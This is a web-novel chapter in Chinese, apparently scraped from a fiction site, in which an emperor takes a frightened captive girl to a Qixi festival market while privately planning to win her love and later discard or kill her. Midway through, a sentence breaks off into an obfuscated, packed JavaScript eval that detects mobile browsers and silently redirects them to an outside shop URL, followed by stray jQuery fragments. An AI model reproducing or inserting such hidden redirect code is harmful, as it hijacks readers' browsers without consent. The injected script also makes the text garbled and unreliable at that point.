文趣网 > 其他小说 > 金殿藏姝 > 14. 祈愿
    夜风骤急,卷起尘泥落叶起舞,轻蹭衣衽,竹骨悬灯拂动愈烈,映得那张矜贵俊美的面容忽明忽暗,在暗夜中宛若妖冶鬼魅。

    明灯下二人发丝经由风撩拨,些缕交缠在一起难舍难分,还有几许抚弄面颊,给人的感觉痒痒的。

    “陛下……”

    沐笙缓缓抬起小脸,被大掌按抚的背脊几乎下意识后倾,与他的脸拉开距离,弱声唤道。

    少女眸蕴秋水,望向他的目光满是怯怕与慌乱。

    秦絜眸色沉沉,注视她须臾,朝她伸出了手,言简意赅道:“今日是女儿节,附近有乞巧市,带你去逛逛。”

    凉风慢慢和缓,一些碎发凌乱停落在少女面靥,他见她不为所动,就自顾自为她理了理乱发,大掌裹住她的小手牵她站起。

    乞巧节前后几日办乞巧市,是晟国的民间习俗。

    市集人流如织,热闹非凡,有各式各样售卖精巧物件的摊贩,也有许多供女子玩乐的游戏,姑娘们或携闺中密友三五成群,或与家人、情郎同行,来游玩与挑选购置乞巧节所需物品。

    沐笙被秦絜牵着,缓步走在熙熙攘攘的人群中,感受着四处时不时探来的艳羡目光,整个人局促不安。

    秦絜墨发以玉簪半挽,戴着普通银色面具遮住上半张脸,身穿一袭月白云纹素袍,衣袍翩翩,纵然是极其简单衣着,却难掩他与生俱来的绝代风华。

    走到哪皆可汇聚近乎所有的视线。

    秦絜即使没有看身旁少女,也能从手心感知到她的不适,好意带她出来散心,结果似乎徒劳无益。

    他不屑行强迫人之举,要为自己解毒,亦想她能够自愿。

    “郎君可要买束花送给娘子?”

    秦絜闻声停住脚步,看了一眼那花担中的粉白相间的鲜花,再低眸看向沐笙征询意见。

    卖花的大娘见状,忙笑逐颜开介绍得更卖力,“俺这茉莉还有荷花都是刚采摘的哩,买回去插瓶儿,半间屋子都闻香,还可以养好些日子呢。”

    “美丽的小娘子,要不要让你夫君为你买一束?”

    虽然沐笙梳着未婚少女常梳的垂鬟分髾髻?,但卖花大娘见二人牵着手,心里便独自断定她与秦絜是一对刚新婚不久正蜜里调油的小夫妻。

    沐笙双颊晕绯,还没来得及开口解释或拒绝,就见秦絜从钱袋中取出一锭银子递给卖花大娘,摘下一朵茉莉花淡声道:“不用找了。”

    沐笙愣怔之际,那朵柔白还带有细碎水滴的茉莉已别在了她如绸乌发间,散着清雅芳香。

    乌云堆雪,杳霭流玉,美人姝颜映皎月。

    秦絜对此挺满意,揉了揉她的发顶,温言询问:“逛了这么久,可看到喜欢的?”

    沐笙摇了摇头,其实她很想挣脱开他牵着她的手,即使是在民风还算开放之地,夫妻间也鲜少有在大庭广众下一直牵着手的。

    见她还是闷闷不乐,秦絜生起薄怒的同时,更觉自己对她的忍耐力过于诡异。

    他贵为天子,从来只有别人贴着笑脸千方百计来讨好他,何曾像现在这般纡尊降贵哄一个小姑娘。

    偏偏她还不领情。

    他不由反思,就算此前以她为饵害她受伤,他也无须愧疚。

    要怪只能怪楚皊无能,为父所控,连外界消息都尽数被隔绝。

    何况,他与楚皊之间有不共戴天之仇,她既与楚皊关系匪浅,她的死能让楚皊痛苦,那她毋庸置疑迟早都是要死的。

    握住她手的力道收紧,带来痛感,沐笙暗自惶恐,垂下眼眸不敢挣扎。

    秦絜眼神冰冷,凝视着她低眉顺眼看似乖巧的模样,心中莫名起了一个匪夷所思的念头。

    等她爱上他,再让她知晓所有真相将她狠狠抛弃,那绝望痛哭的场景,想必会很有趣。

    如是想着,他神情又柔和几许,手上力道渐渐放松,掀眸看向远处那树干挺拔、枝繁叶茂的百年大榕树。

    枝叶间众多红木牌正随风飘扬,树下设有香案祭台,可对着织女星许愿。

    秦絜这次没再询问,直接牵她往那榕树走去,“许个愿吧。”

    沐笙只觉秦絜待人处事的态度阴晴不定,变幻莫测,跟在他身边时时刻刻都忐忑不安。

    伴君如伴虎这句话毫不虚假。

    思绪间,秦絜松开了她的手,去取过红木牌和笔,好整以暇看她。

    这是,要替她将愿望写在祈愿牌上的意思。

    沐笙不解,下意识提醒,“听说愿望被别人瞧见就不太灵了……”

    秦絜高大的身躯俯下,与她脸颊贴近,具诱惑性的声音低至只有他与她才能听见,“你不让朕知晓,朕如何帮你实现?”

    “神明做不到的,朕可以。”

    沐笙呼吸微颤,轻眨了眨眼,“愿望真的能实现吗?”

    秦絜观察着她的表情变化,难得耐心道:“说说看。”

    然后,他就见她小心翼翼转过脸来与他对视,“那,可不可以不侍寝……”

    清泠泠月色下,纯洁的茉莉花在她发髻中莹莹灿然,少女一张俏丽小脸满含期冀,看他的眼神天真无邪。

    拒绝她的请求似乎是一种罪恶。

    秦絜唇角勾了勾,面具相隔,让沐笙看不真切他眼底真实情绪。

    她忽然有些后怕,陛下是她见过笑起来最恐怖的人,在他之前,她从不知道原来有人的笑比怒还可怖。

    静默良久,秦絜自觉无趣,将手中祈愿牌和毛笔还给了摊主,转身离去。

    摊主是一位胡须斑白的六旬老叟,目睹了二人从亲密到疏离的过程,沉甸甸的一袋银钱拿在手中也不是滋味。

    适才那年轻郎君气质矜贵,买个祈愿牌出手如此阔绰,想来身份不凡,而这位衣着素净怔在原地的小姑娘,长得美若天仙,梳着未婚发髻跟着那郎君出门,观之像是被养在外边的外室。

    在外头养人的富家子弟多薄情,腻了则弃是常有的事。

    老叟也是暗叹可怜,走过去将钱袋递至沐笙面前,“小姑娘,这钱还是你收着吧,这世道,人活着呐,女子尤其不易,有钱日后好傍身。”

    沐笙这才回过神,疑惑看着一脸叹惋的老叟。

    老叟道:“我曾经有一个妹妹,幼时家里穷得吃不起饭,爹娘就将妹妹卖给了一大户人家为婢换钱……几年后我攒够钱,想去把妹妹赎回来,却得知妹妹早成了通房,在孕时被强行堕胎,一尸两命……我对不起我妹妹……”

    说到后边,老叟眼中已隐有泪花,愧疚难当。

    闻言,沐笙脸色也白了白,为老叟妹妹痛心,也为自己无从解释难过,如若陛下决心要她侍寝的话,她可能,确实会与这位老叟的妹妹殊途同归。

    夜风萧索,吹下几片倚在枝干半落不落的绿叶,砸在鞋履边。

    萍水相逢的善意总是令人动容。

    沐笙定了定神,笑着宽慰道:“多谢老伯好意,但买东西付钱天经地义,这些钱是方才那位公子认为物有所值而付,岂有收回的道理。”

    “老伯就安心收下吧。”

    ……

    夜色渐深,热闹的人群也如潮水般慢慢退散。

    秦絜走了不久就停下等她,愿给她一个台阶下,不曾想她气性比他以为的还要大,当真不跟上来。

    待他解了毒,定会即刻杀了她。

    他恶毒地想着,再抬眸时,却见那一袭天青色襦裙的纤瘦身影小跑着朝他奔来,手里还捧着一只彩塑小老虎。

    少女雪颊覆有薄薄红晕,微喘着气在他身前

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17655921|206960||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    站定,双手将那只笑嘻嘻的圆脸小老虎呈给他,嗓音清甜含怯。

    “送给陛下。”

    许是一路跑得太急,插在发髻间的茉莉花颇有摇摇欲坠之势。

    秦絜挑了挑眉,神色复杂。

    她这是在哄他么?拿这种小孩子喜欢的玩意来哄他?

    简直,毫无诚意。

    沐笙谨慎打量着他未被面具覆盖的脸,羞赧道:“上次……王公公让那两位姐姐拿来许多诸如此类的玩具给奴婢,奴婢以为陛下喜欢……”

    王公公说,是陛下吩咐他这么做的。

    秦絜微微一愣,伸手接过她手中的笑脸老虎把玩,语气难辨喜怒,“你这是以为朕和你一样幼稚?”

    沐笙眨了眨眼没说话,看着单纯又无辜。

    不过她这行为,是有用的,秦絜的怒气看起来消了不少。

    他将笑面老虎彩塑塞还给她,顺便将她发间茉莉花扶正,重新牵上她的手一起往回走。

    秦絜身量高大,比沐笙高了一个头有余,走路的步子自然也比她大,但他今夜有意放慢步伐迁就她。

    尽管一路无言,沐笙却感觉到,榕树下的不愉快,好似就这么翻篇了。

    直至回到西苑,秦絜都没有言明是否答应她的话,她也不敢再提。

    他身为帝王,政事繁忙,回来后没再理会她,也不需要她到御前伺候。

    沐笙暂时安心了微许,想要出宫的念头如潮湿水岸的铜钱草日益疯长。

    然而她这样的俘虏身份,出宫唯有求得帝王恩赦一条路。

    每每思及此,满腔期盼就像泼了一盆冷水,只余怅然。

    她与清玥初入晟皇宫时,每日在浣幽庭相互扶持,共经艰难。

    自从华太后有意将她当棋子之后,事情逐渐向不可控的方向发展,她与清玥能见的机会少之又少。

    幸而现今陛下又允许她在行宫自由走动,才得以与清玥见面。

    七月中旬,暑气渐消,没有那么酷热难耐。沐笙与孟清玥在荫蔽的凉亭处相见,互诉这段时日彼此过得如何。

    听闻华太后对孟清玥挺好,沐笙稍稍放心。

    孟清玥见了沐笙的反应,抿了抿唇隐隐不悦,“阿笙,你刚才总有意无意提及伴于陛下身侧不见得是好事,是想劝我放弃吗?”

    “还是说,你我情谊早已有隔阂,你根本不愿意帮我?”

    “不是……”

    沐笙也说不清自己是何心态,心头乱糟糟的。她以一己之见就去劝清玥,的确不妥。

    孟清玥见沐笙支吾之态,又冷冷问:“阿笙,你该不会是自己对陛下起了心思,才容不下其他人?”

    “不是的,”沐笙见误会至此,连忙说出心里话,“清玥,因为我想出宫,但我……”

    孟清玥眼眸掠过惊讶,又很快和原先冷意一同压了下去。毕竟,她也不是不能理解沐笙因何有此想法。

    她握住沐笙的手认真道:“阿笙,等我得到陛下宠幸,你的恩情便算还完了,我会为你向陛下求一个出宫的恩典。”

    “陛下是怎样的人我都不怕,伴君如伴虎与后宫向来腥风血雨的道理我也都懂,但这些与权势荣华相比,不值一提。你明白吗?”

    沐笙眸光微颤,点点头。

    这时,遥感耳熟的女子谈笑声蓦然入耳,让孟清玥脸色突变,对沐笙做了个噤声手势。

    正意图寻找别处躲避,远远的,曲径侧旁与花丛层叠交错的凤尾竹后,缂丝牡丹扇于青翠竹叶间若隐若现。

    风声塕然,沐笙跟着孟清玥刚走下凉亭石阶,堪堪与自曲径拐弯现身的一众人等对上视线。

    避无可避,孟清玥手脚发凉,只得屈膝行礼。

    “奴婢参见太后娘娘。”